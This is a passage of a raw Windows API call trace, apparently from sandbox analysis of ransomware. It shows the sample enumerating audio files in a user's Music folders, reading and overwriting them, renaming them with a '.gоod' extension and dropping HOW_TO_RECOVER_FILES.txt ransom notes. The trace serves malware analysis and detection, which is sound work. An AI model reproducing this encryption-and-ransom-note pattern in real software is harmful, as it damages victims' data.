(lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\udlin5wrypekdpy lj.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0218.610] GetFileType (hFile=0x828) returned 0x1 [0218.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb730) returned 1 [0218.610] GetFileType (hFile=0x828) returned 0x1 [0218.610] WriteFile (in: hFile=0x828, lpBuffer=0x3573280*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202eb948, lpOverlapped=0x0 | out: lpBuffer=0x3573280*, lpNumberOfBytesWritten=0x202eb948*=0x1010, lpOverlapped=0x0) returned 1 [0218.610] CloseHandle (hObject=0x828) returned 1 [0218.610] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3", lpFilePart=0x0) returned 0x6a [0218.610] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202eb3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3.gоod", lpFilePart=0x0) returned 0x6f [0218.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb880) returned 1 [0218.611] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\udlin5wrypekdpy lj.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202eb960 | out: lpFileInformation=0x202eb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a125d0, ftCreationTime.dwHighDateTime=0x1d4c58e, ftLastAccessTime.dwLowDateTime=0x5b9ada10, ftLastAccessTime.dwHighDateTime=0x1d4c62d, ftLastWriteTime.dwLowDateTime=0x7e837323, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb529)) returned 1 [0218.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb840) returned 1 [0218.611] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\udlin5wrypekdpy lj.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\UDLin5wRYPEkDpy Lj.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\udlin5wrypekdpy lj.mp3.gоod")) returned 1 [0218.612] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202eb560, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6b [0218.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eba80) returned 1 [0218.612] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\wb9ZGR 3CWhETHVj1C\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\wb9zgr 3cwhethvj1c\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0218.613] GetFileType (hFile=0x828) returned 0x1 [0218.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb9f0) returned 1 [0218.613] GetFileType (hFile=0x828) returned 0x1 [0218.614] WriteFile (in: hFile=0x828, lpBuffer=0x394a978*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ebb48, lpOverlapped=0x0 | out: lpBuffer=0x394a978*, lpNumberOfBytesWritten=0x202ebb48*=0x5d0, lpOverlapped=0x0) returned 1 [0219.359] CloseHandle (hObject=0x828) returned 1 [0219.359] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x58 [0219.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0219.359] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0219.361] GetFileType (hFile=0x828) returned 0x1 [0219.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0219.361] GetFileType (hFile=0x828) returned 0x1 [0219.361] WriteFile (in: hFile=0x828, lpBuffer=0x3775b00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3775b00*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0220.310] CloseHandle (hObject=0x828) returned 1 [0220.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0220.313] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5", lpFilePart=0x0) returned 0x44 [0220.313] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e8c2440, ftCreationTime.dwHighDateTime=0x1d4c869, ftLastAccessTime.dwLowDateTime=0xabd6fd0, ftLastAccessTime.dwHighDateTime=0x1d4d3b7, ftLastWriteTime.dwLowDateTime=0xabd6fd0, ftLastWriteTime.dwHighDateTime=0x1d4d3b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0221.682] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e8c2440, ftCreationTime.dwHighDateTime=0x1d4c869, ftLastAccessTime.dwLowDateTime=0xabd6fd0, ftLastAccessTime.dwHighDateTime=0x1d4d3b7, ftLastWriteTime.dwLowDateTime=0xabd6fd0, ftLastWriteTime.dwHighDateTime=0x1d4d3b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.682] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b671a0, ftCreationTime.dwHighDateTime=0x1d4c5c0, ftLastAccessTime.dwLowDateTime=0x232bd770, ftLastAccessTime.dwHighDateTime=0x1d4cee7, ftLastWriteTime.dwLowDateTime=0x232bd770, ftLastWriteTime.dwHighDateTime=0x1d4cee7, nFileSizeHigh=0x0, nFileSizeLow=0xa8c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Da8pnCpcp.m4a", cAlternateFileName="DA8PNC~1.M4A")) returned 1 [0221.682] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde7d9e0, ftCreationTime.dwHighDateTime=0x1d4c5c3, ftLastAccessTime.dwLowDateTime=0x186a88c0, ftLastAccessTime.dwHighDateTime=0x1d4c6f1, ftLastWriteTime.dwLowDateTime=0x186a88c0, ftLastWriteTime.dwHighDateTime=0x1d4c6f1, nFileSizeHigh=0x0, nFileSizeLow=0x15690, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dj8alt1vK6keTgiBscd.wav", cAlternateFileName="DJ8ALT~1.WAV")) returned 1 [0221.682] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7049670, ftCreationTime.dwHighDateTime=0x1d4cc02, ftLastAccessTime.dwLowDateTime=0x561375b0, ftLastAccessTime.dwHighDateTime=0x1d4c656, ftLastWriteTime.dwLowDateTime=0x561375b0, ftLastWriteTime.dwHighDateTime=0x1d4c656, nFileSizeHigh=0x0, nFileSizeLow=0x10a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="LvrKJ1kOrmrqVPw.mp3", cAlternateFileName="LVRKJ1~1.MP3")) returned 1 [0221.682] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64201d70, ftCreationTime.dwHighDateTime=0x1d4d07e, ftLastAccessTime.dwLowDateTime=0xdcee5c00, ftLastAccessTime.dwHighDateTime=0x1d4d522, ftLastWriteTime.dwLowDateTime=0xdcee5c00, ftLastWriteTime.dwHighDateTime=0x1d4d522, nFileSizeHigh=0x0, nFileSizeLow=0x7c69, dwReserved0=0x0, dwReserved1=0x0, cFileName="n58LGBxpQrYQ Cq6.wav", cAlternateFileName="N58LGB~1.WAV")) returned 1 [0221.682] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b92080, ftCreationTime.dwHighDateTime=0x1d4cf39, ftLastAccessTime.dwLowDateTime=0xd32eb80, ftLastAccessTime.dwHighDateTime=0x1d4d49a, ftLastWriteTime.dwLowDateTime=0xd32eb80, ftLastWriteTime.dwHighDateTime=0x1d4d49a, nFileSizeHigh=0x0, nFileSizeLow=0x1179c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OBQS.m4a", cAlternateFileName="")) returned 1 [0221.683] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.683] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0221.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0221.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0221.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0221.683] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5", lpFilePart=0x0) returned 0x44 [0221.683] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e8c2440, ftCreationTime.dwHighDateTime=0x1d4c869, ftLastAccessTime.dwLowDateTime=0xabd6fd0, ftLastAccessTime.dwHighDateTime=0x1d4d3b7, ftLastWriteTime.dwLowDateTime=0xabd6fd0, ftLastWriteTime.dwHighDateTime=0x1d4d3b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0221.683] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e8c2440, ftCreationTime.dwHighDateTime=0x1d4c869, ftLastAccessTime.dwLowDateTime=0xabd6fd0, ftLastAccessTime.dwHighDateTime=0x1d4d3b7, ftLastWriteTime.dwLowDateTime=0xabd6fd0, ftLastWriteTime.dwHighDateTime=0x1d4d3b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.683] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b671a0, ftCreationTime.dwHighDateTime=0x1d4c5c0, ftLastAccessTime.dwLowDateTime=0x232bd770, ftLastAccessTime.dwHighDateTime=0x1d4cee7, ftLastWriteTime.dwLowDateTime=0x232bd770, ftLastWriteTime.dwHighDateTime=0x1d4cee7, nFileSizeHigh=0x0, nFileSizeLow=0xa8c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Da8pnCpcp.m4a", cAlternateFileName="DA8PNC~1.M4A")) returned 1 [0221.683] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde7d9e0, ftCreationTime.dwHighDateTime=0x1d4c5c3, ftLastAccessTime.dwLowDateTime=0x186a88c0, ftLastAccessTime.dwHighDateTime=0x1d4c6f1, ftLastWriteTime.dwLowDateTime=0x186a88c0, ftLastWriteTime.dwHighDateTime=0x1d4c6f1, nFileSizeHigh=0x0, nFileSizeLow=0x15690, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dj8alt1vK6keTgiBscd.wav", cAlternateFileName="DJ8ALT~1.WAV")) returned 1 [0221.684] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7049670, ftCreationTime.dwHighDateTime=0x1d4cc02, ftLastAccessTime.dwLowDateTime=0x561375b0, ftLastAccessTime.dwHighDateTime=0x1d4c656, ftLastWriteTime.dwLowDateTime=0x561375b0, ftLastWriteTime.dwHighDateTime=0x1d4c656, nFileSizeHigh=0x0, nFileSizeLow=0x10a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="LvrKJ1kOrmrqVPw.mp3", cAlternateFileName="LVRKJ1~1.MP3")) returned 1 [0221.684] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64201d70, ftCreationTime.dwHighDateTime=0x1d4d07e, ftLastAccessTime.dwLowDateTime=0xdcee5c00, ftLastAccessTime.dwHighDateTime=0x1d4d522, ftLastWriteTime.dwLowDateTime=0xdcee5c00, ftLastWriteTime.dwHighDateTime=0x1d4d522, nFileSizeHigh=0x0, nFileSizeLow=0x7c69, dwReserved0=0x0, dwReserved1=0x0, cFileName="n58LGBxpQrYQ Cq6.wav", cAlternateFileName="N58LGB~1.WAV")) returned 1 [0221.684] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b92080, ftCreationTime.dwHighDateTime=0x1d4cf39, ftLastAccessTime.dwLowDateTime=0xd32eb80, ftLastAccessTime.dwHighDateTime=0x1d4d49a, ftLastWriteTime.dwLowDateTime=0xd32eb80, ftLastWriteTime.dwHighDateTime=0x1d4d49a, nFileSizeHigh=0x0, nFileSizeLow=0x1179c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OBQS.m4a", cAlternateFileName="")) returned 1 [0221.684] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b92080, ftCreationTime.dwHighDateTime=0x1d4cf39, ftLastAccessTime.dwLowDateTime=0xd32eb80, ftLastAccessTime.dwHighDateTime=0x1d4d49a, ftLastWriteTime.dwLowDateTime=0xd32eb80, ftLastWriteTime.dwHighDateTime=0x1d4d49a, nFileSizeHigh=0x0, nFileSizeLow=0x1179c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OBQS.m4a", cAlternateFileName="")) returned 0 [0221.684] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0221.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0221.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0221.684] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a", lpFilePart=0x0) returned 0x52 [0221.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0221.684] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\da8pncpcp.m4a"), fInfoLevelId=0x0, lpFileInformation=0x36bf3f8 | out: lpFileInformation=0x36bf3f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b671a0, ftCreationTime.dwHighDateTime=0x1d4c5c0, ftLastAccessTime.dwLowDateTime=0x232bd770, ftLastAccessTime.dwHighDateTime=0x1d4cee7, ftLastWriteTime.dwLowDateTime=0x232bd770, ftLastWriteTime.dwHighDateTime=0x1d4cee7, nFileSizeHigh=0x0, nFileSizeLow=0xa8c9)) returned 1 [0221.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0221.684] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a", lpFilePart=0x0) returned 0x52 [0221.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0221.685] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\da8pncpcp.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0221.685] GetFileType (hFile=0x828) returned 0x1 [0221.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0221.685] GetFileType (hFile=0x828) returned 0x1 [0221.685] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0221.685] ReadFile (in: hFile=0x828, lpBuffer=0x36bf840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x36bf840*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0221.686] CloseHandle (hObject=0x828) returned 1 [0221.686] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a", lpFilePart=0x0) returned 0x52 [0221.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0221.686] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\da8pncpcp.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0221.686] GetFileType (hFile=0x828) returned 0x1 [0221.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0221.686] GetFileType (hFile=0x828) returned 0x1 [0221.686] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0xa8c9 [0221.686] WriteFile (in: hFile=0x828, lpBuffer=0x36c0af0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x36c0af0*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0221.686] CloseHandle (hObject=0x828) returned 1 [0221.687] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a", lpFilePart=0x0) returned 0x52 [0221.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0221.687] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\da8pncpcp.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0221.687] GetFileType (hFile=0x828) returned 0x1 [0221.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0221.687] GetFileType (hFile=0x828) returned 0x1 [0221.687] ReadFile (in: hFile=0x828, lpBuffer=0x36c2dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x36c2dc8*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0221.714] CloseHandle (hObject=0x828) returned 1 [0221.714] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a", lpFilePart=0x0) returned 0x52 [0221.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0221.714] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\da8pncpcp.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0221.715] GetFileType (hFile=0x828) returned 0x1 [0221.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0221.715] GetFileType (hFile=0x828) returned 0x1 [0221.715] WriteFile (in: hFile=0x828, lpBuffer=0x36c1b08*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x36c1b08*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0221.715] CloseHandle (hObject=0x828) returned 1 [0221.715] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a", lpFilePart=0x0) returned 0x52 [0221.715] GetFullPathNameW (in: 